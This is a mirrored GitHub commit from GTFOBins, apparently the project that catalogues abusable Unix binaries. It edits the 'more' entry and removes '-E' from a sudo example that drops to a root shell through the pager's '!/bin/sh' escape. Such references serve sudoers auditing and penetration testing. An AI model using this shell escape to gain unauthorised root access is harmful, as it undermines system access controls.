mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Remove -E option of sudo for more
Note added by @cyrus-and: this only works because `sudo` preserves `TERM` nevertheless (unless explicitly blacklisted).
This commit is contained in:
parent
1600e05fef
commit
fbd887e91a
@ -10,6 +10,6 @@ functions:
|
||||
- code: ./more file_to_read
|
||||
sudo:
|
||||
- code: |
|
||||
TERM= sudo -E more /etc/profile
|
||||
TERM= sudo more /etc/profile
|
||||
!/bin/sh
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user